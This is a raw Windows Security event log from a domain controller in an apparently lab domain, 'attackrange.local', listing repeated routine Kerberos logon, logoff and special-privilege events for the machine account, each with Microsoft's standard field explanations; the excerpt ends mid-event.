- - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248567 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB9714 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248596 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBB1B0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248595 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBB1B0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 63969 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248594 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBB1B0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248593 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBB141 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248592 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBB141 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 63968 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248591 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBB141 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248590 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBB0C6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248589 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBB0C6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 63967 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248588 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBB0C6 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248587 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBB095 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248586 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBB095 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 63966 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248585 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBB095 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248584 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBAFE7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248583 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBAFD8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248582 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBAFE7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 63965 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248581 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBAFE7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248580 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBAFD8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 63964 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248579 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBAFD8 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248608 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBC710 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248607 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBC710 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 63973 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248606 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBC710 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248605 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBC6A5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248604 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBC6A5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 63972 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248603 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBC6A5 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248602 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBC633 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248601 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBC633 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 63971 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248600 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBC633 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248599 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: 